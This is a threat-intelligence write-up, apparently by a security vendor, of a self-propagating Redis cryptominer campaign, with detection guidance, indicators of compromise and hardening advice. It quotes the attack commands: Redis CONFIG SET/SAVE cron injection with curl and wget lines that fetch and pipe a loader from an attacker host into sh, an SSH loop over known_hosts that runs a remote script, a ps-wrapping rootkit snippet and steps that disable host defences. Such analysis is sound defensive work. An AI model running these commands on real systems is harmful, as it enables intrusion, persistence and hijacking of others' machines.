On 24 July 2026, a Siren Attack Intelligence sensor captured an unauthenticated Redis exploitation attempt.
Eleven seconds after a single INFO probe, the same host wrote a cryptominer loader into four separate cron paths. Redis cron injection has been documented since 2015, and opportunistic miners are part of the background noise of the internet. At first glance, this looked routine.
Then we retrieved the second stage.
Hidden behind a userland rootkit, the loader contained the scanner responsible for finding the next exposed Redis server. The infection did not end with a miner. It closed a self-propagating loop:
The propagation cycle turns every successfully compromised Redis host into infrastructure for finding the next target.
We caught one turn of the wheel. This post maps the whole wheel—from the first probe to persistence, defense evasion, lateral movement, and the search for the next victim.
One detail deserves particular attention: the campaign removes commercial cloud security agents by running the vendors' own supported uninstallers.
The attack at a glance
| Stage | What happened |
|---|---|
| Reconnaissance | The source sent INFO to determine whether Redis was reachable without authentication. |
| Initial access | Redis configuration changes redirected an RDB save into multiple cron locations. |
| Execution | The injected cron entries retrieved and ran a shell loader named kworker. |
| Defense evasion | The loader removed monitoring agents, disabled host controls, renamed download tools, and replaced ps, top, and pstree. |
| Persistence | It installed cron jobs and an immutable SSH key. |
| Impact | It launched a likely XMRig-based miner named javae. |
| Propagation | It installed pnscan, searched for more exposed Redis services, and attempted SSH-based lateral movement. |
Stage 1: Turning Redis into an arbitrary file writer
Seven Redis detections reached our pipeline that day. Six were fingerprinting: PING, INFO, an unknown command intended to provoke a version-revealing error, and QUIT. That is typical research-scanner and opportunistic-sweep behavior.
The seventh came from 104.131.9.27 in AS14061. It arrived 11 seconds after the same host had probed the sensor and was classified as Botnet Loader / C2. The timing gives away the automation: probe, parse the response, determine that the target is unauthenticated, and exploit.
The sensor preserved all 1,644 bytes of the RESP session. Decoded, the attack followed this pattern:
CONFIG SET dbfilename backup.db
SAVE
CONFIG SET stop-writes-on-bgsave-error no
FLUSHALL
SET backup1 "\n\n*/2 * * * * cd1 -fsSL http://34.70.205.211/.../kworker | sh\n\n"
SET backup2 "\n\n*/3 * * * * wget -q -O- http://34.70.205.211/.../kworker | sh\n\n"
SET backup3 "\n\n*/4 * * * * curl -fsSL http://34.70.205.211/.../kworker | sh\n\n"
SET backup4 "\n\n*/5 * * * * wd1 -q -O- http://34.70.205.211/.../kworker | sh\n\n"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
CONFIG SET dir /var/spool/cron/crontabs
SAVE
CONFIG SET dir /etc/cron.d/
CONFIG SET dbfilename javae
SAVE
CONFIG SET dir /etc/
CONFIG SET dbfilename crontab
SAVE
The technique abuses a legitimate Redis feature. Redis writes its database file to the path defined by dir and dbfilename. An attacker who can change those settings can call SAVE and place an RDB file wherever the Redis process has permission to write.
RDB files tolerate data around the stored value, and cron tolerates unrelated data around a valid schedule line. By embedding a cron entry inside a Redis value and saving the database into a cron directory, the attacker turns Redis into an arbitrary file-writing primitive.
The payload targets four paths because cron layouts differ across Debian- and RHEL-derived systems. It also repeats the entries with a root user field for system crontab formats that require one. The technique is old; the implementation shows careful attention to cross-distribution coverage.
The “typos” that explained the host state
The injected cron jobs use four download commands: curl, wget, cd1, and wd1.
The last two initially looked like transcription errors. Stage 2 showed that they were deliberate:
mv /usr/bin/wgettnt /usr/bin/wd1
mv /usr/bin/wget1 /usr/bin/wd1
mv /usr/bin/xget /usr/bin/wd1
mv /usr/bin/wget /usr/bin/wd1
mv /usr/bin/curltnt /usr/bin/cd1
mv /usr/bin/curl1 /usr/bin/cd1
mv /usr/bin/cur /usr/bin/cd1
mv /usr/bin/curl /usr/bin/cd1
The malware renames the legitimate binaries. curl becomes cd1; wget becomes wd1.
The four cron variants form a coverage matrix for two possible host states. curl and wget work on a clean machine. cd1 and wd1 work on a host the campaign has already modified. Renaming the tools also creates friction for defenders and competing malware that expect the standard commands to exist.
The references to wgettnt and curltnt are notable because those names are associated with TeamTNT tooling. The same script later removes /usr/bin/TeamTNT/*. This suggests familiarity with a competing campaign, but it is not enough on its own to support attribution.
Stage 2: Inside kworker
The second-stage loader is named kworker, borrowing the name of a Linux kernel worker thread so it attracts less attention in a quick process review. The miner it installs is called javae. The script pins the expected binary size at 5,685,096 bytes and sets vm.nr_hugepages to 128—behavior consistent with an XMRig build.
Mining is only one part of the loader. It also removes defenses, hides its processes, locks out competitors, establishes persistence, clears evidence, and propagates.
It asks security products to uninstall themselves
The most operationally interesting behavior in the sample is how it handles cloud workload-protection agents.
For one widely deployed product, the script retrieves the vendor's official uninstall scripts from the vendor's own update infrastructure. It also embeds Base64-encoded copies of the same uninstallers as a fallback if the official host is unreachable.
There is no vulnerability or crash involved. The security agent is asked to remove itself through its documented maintenance path, and it complies.
The campaign applies the same idea to several endpoint and monitoring agents, invoking their supported removal paths. Anything that survives is killed by process name, using a hardcoded list of agent and EDR processes. One package is removed through both yum and apt.
It then weakens the host:
- disables SELinux in both expected configuration locations;
- stops and disables AppArmor;
- flushes
iptables; - disables
ufw; and - disables the kernel NMI watchdog.
echo '0' > /proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >> /etc/sysctl.conf
The watchdog change is easy to overlook. Sustained full-core utilization can reveal a miner as a performance problem before it is recognized as a security incident. Disabling the watchdog suppresses one source of those warnings and persists the change across reboots.
A rootkit made from shell wrappers
The campaign does not use a kernel module or an LD_PRELOAD implant to hide its processes. It uses shell scripts:
mv /bin/ps /bin/ps.original
echo '#! /bin/bash' > /bin/ps
echo '/bin/ps.original $@ | grep -v "javae|pnscan"' >> /bin/ps
chmod +x /bin/ps
touch -d 20160825 /bin/ps
It performs the same replacement for top and pstree. The wrappers call the original tools and filter out the miner and scanner. The replacement files are then timestomped to 2016.
It is crude, but crude is not the same as ineffective. A responder looking only for kernel-level rootkits would miss it, and an administrator trusting the output of ps would be shown a deliberately incomplete process list.
A fast host check is:
ls -l /bin/*.original
The names hidden by the wrappers reveal the campaign's purpose. javae is the miner. pnscan is a fast service scanner frequently used for Redis discovery. The infected host is not only mining—it is searching for the next exposed Redis service to exploit.
Elsewhere, the loader calls ps.original directly in its own process-management logic. That command only exists after the host has already been trojanized, showing that the script expects to execute repeatedly on machines it controls.
Immutable-flag warfare
The script protects its payloads with chattr +i, but it also uses immutable files offensively against competing miners.
It writes the string fuckyou into /var/tmp/kinsing and /tmp/kdevtmpfsi, then marks both files immutable. Kinsing and kdevtmpfsi are associated with competing cryptomining campaigns that use those fixed paths. Pre-creating the files prevents a rival payload from replacing them without first clearing the attribute.
It also squats on several process and binary names used by other campaigns:
/usr/bin/ip6network
/usr/bin/kswaped
/usr/bin/irqbalanced
/usr/bin/rctlcli
/usr/bin/systemd-network
/usr/bin/pamdicks
Each file contains a single digit and is immutable. The loader also blocks outbound traffic to ports 7777 and 9999, which it treats as competitor infrastructure.
Its explicit competitor process list contains roughly 150 entries. Two broader rules require no prior knowledge of a rival's name: kill any process consuming more than 10% CPU unless it is javae, and kill processes with command names longer than 19 characters. The first protects the miner's share of the host; the second catches many randomly named droppers.
Persistence, lateral movement, and anti-forensics
Persistence
The campaign appends an SSH public key with the comment uc1 to /root/.ssh/authorized_keys when running as root, or to the current user's authorized keys otherwise. It then applies chattr +ia, making the file immutable and append-only until those attributes are cleared.
Cron persistence is equally aggressive. The script first removes existing user and system cron jobs, writes its own entry, and marks the cron tree immutable. Stage 1 uses intervals of two to five minutes for fast retry during the initial infection. Once established, stage 2 relaxes the schedule to every 50 minutes for root and every 30 minutes for unprivileged execution.
Lateral movement
The loader extracts IP addresses from /root/.ssh/known_hosts and tries to reach each one using the compromised machine's local SSH credentials:
for h in $(grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" /root/.ssh/known_hosts); do
ssh -oBatchMode=yes -oStrictHostKeyChecking=no "$h" \
'curl -o- http://38.150.0.136/... | bash' &
done
The lateral-movement payload comes from 38.150.0.136; an earlier fallback used 38.150.0.118. The adjacent addresses and shared path structure justify treating 38.150.0.0/24 as suspicious pending further investigation, not as confirmed attacker ownership of every address in the range.
Anti-forensics
The loader clears shell history and truncates:
/var/log/syslog/var/log/wtmp/var/log/secure/root/.bash_history/var/spool/mail/root
It changes chattr to mode 777 when it begins and mode 444 when it exits. This leaves a responder's most obvious tool for removing the immutable flags non-executable until its permissions are repaired.
Thoughtful operations, careless shell
The loader contains several coding errors:
grep -qis piped into a secondgrep, but quiet mode produces no output. The condition therefore relaunches the miner even when it is already running.- The
wd1branch tests for a successful download before fetching the backup URL, while the correspondingwgetbranch correctly tests for failure. - A process search for
kworker -ccontains a stray backslash.
The contrast is useful. The cloud-agent removal logic is specific and operationally informed; the surrounding shell contains obvious copy-and-paste defects. This is common in commodity campaigns assembled from multiple code sources by operators who understand the objective better than the language.
How to distinguish exploitation from Redis background noise
Port and connection counts are weak triage signals. The useful distinction is whether a session only reads server information or attempts to change state and reach beyond the Redis protocol.
| Reconnaissance | Exploitation |
|---|---|
PING, INFO, COMMAND, CLIENT, or ECHO |
CONFIG SET dir or CONFIG SET dbfilename |
| Unknown-command probes used for fingerprinting | SAVE or BGSAVE after a path change |
Short, read-only sessions followed by QUIT |
Values containing cron syntax, SSH keys, or external URLs |
| No server-state mutation | FLUSHALL followed by attacker-controlled writes |
SLAVEOF or REPLICAOF followed by MODULE LOAD |
|
EVAL carrying a Lua sandbox-escape payload |
CONFIG SET dir and CONFIG SET dbfilename are especially strong indicators. Legitimate application clients almost never change them. When followed by SAVE or BGSAVE, they represent an attempted arbitrary file write.
The analytical goal is not simply to identify a named exploit. It is to determine how far the attacker progressed. On an internet-exposed, unauthenticated Redis instance, any untrusted server-state mutation should be treated as a finding regardless of what the attacker tried to write.
Indicators of compromise
Network indicators
| Indicator | Context |
|---|---|
104.131.9.27 |
Observed exploitation source; AS14061 |
34.70.205.211 |
Staging and C2 host |
/plugins-dist/safehtml/lang/font/kworker |
Stage 2 loader path |
/plugins-dist/safehtml/lang/font/javae |
Miner path |
/plugins-dist/safehtml/lang/font/cb.txt |
Unretrieved third-stage path |
38.150.0.136 |
Lateral-movement fetch |
38.150.0.118 |
Stage 1 fallback |
38.150.0.0/24 |
Suspected infrastructure range; investigate before broad blocking |
The plugins-dist/safehtml path resembles a stock plugin directory in the SPIP content-management system. This is consistent with a compromised SPIP site being used for staging, but we have not confirmed that hypothesis.
Payload hash
SHA-256
0b708e3e467cd5665c5f0dbb8ea356ae0be57a94b06c1f375fa42a0b797b0b84
Host indicators
/bin/ps.original
/bin/top.original
/bin/pstree.original
/usr/bin/cd1
/usr/bin/wd1
/etc/javae
/etc/kworker
/tmp/javae
/tmp/kworker
/etc/cron.d/javae
/usr/bin/ip6network
/usr/bin/kswaped
/usr/bin/irqbalanced
/usr/bin/rctlcli
/usr/bin/systemd-network
/usr/bin/pamdicks
/var/tmp/kinsing
/tmp/kdevtmpfsi
Also check for:
kernel.nmi_watchdog=0in/etc/sysctl.conf;- an authorized-keys entry with the comment
uc1; - immutable or append-only flags on authorized-keys and cron files; and
- replaced system utilities that filter
javaeorpnscan.
The strongest single host indicator is the presence of .original versions of ps, top, or pstree under /bin.
The known gap: a third stage
The final action in stage 2 retrieves cb.txt from the same staging host and pipes it to bash. We have not obtained that file.
That means a third stage exists, but its behavior is unknown. The analysis and indicators in this post describe what we directly observed in stages 1 and 2; they should not be treated as a complete account of every action the campaign may perform.
What Redis operators should do
The mitigations have been understood for a decade, but they remain unevenly applied:
- Never expose port 6379 directly to the internet. Bind Redis to a private interface and restrict access at the network layer.
- Require strong authentication. Use modern Redis ACLs where supported, or at minimum a strong
requirepassvalue that is not present in password lists. - Disable dangerous runtime configuration. If your deployment does not require it, disable or rename
CONFIG. - Run Redis as an unprivileged service account. It should not be able to write to
/etc,/etc/cron.d,/var/spool/cron, or users' SSH directories. - Keep protected mode enabled.
- Alert on configuration changes and saves. In particular, detect
CONFIG SET dir,CONFIG SET dbfilename, and unusualSAVEorBGSAVEsequences.
If you find the host artifacts described above, rebuild the machine from a trusted image. Do not rely on in-place cleanup. The cron entries periodically retrieve the loader, payloads are immutable, chattr permissions have been altered, process-listing tools lie, an SSH key has been installed, logs have been truncated, and the machine may already have attempted to infect every host in its known_hosts.
Closing the loop
The initial exploit is not novel. The Redis write primitive has been known for years, the miner is a commodity payload, and parts of the shell script are careless.
What matters is the full sequence.
A conventional flow record would show a short TCP connection to port 6379. A basic log might record a connection. Neither explains that Redis wrote a cron job, which host the job contacted, what the second stage did, or how the infected machine became the scanner that found the next victim.
Siren preserved the complete 1,644-byte injection, classified it as Botnet Loader / C2 from its behavior, extracted both C2 endpoints as evidence, and retained the payload that led us into stage 2. That evidence exposed the campaign's entire propagation cycle—from the scanner that discovers an exposed Redis service to the miner that funds the operation and launches the next scan.
That is the difference between knowing you were scanned and knowing exactly what was aimed at you.



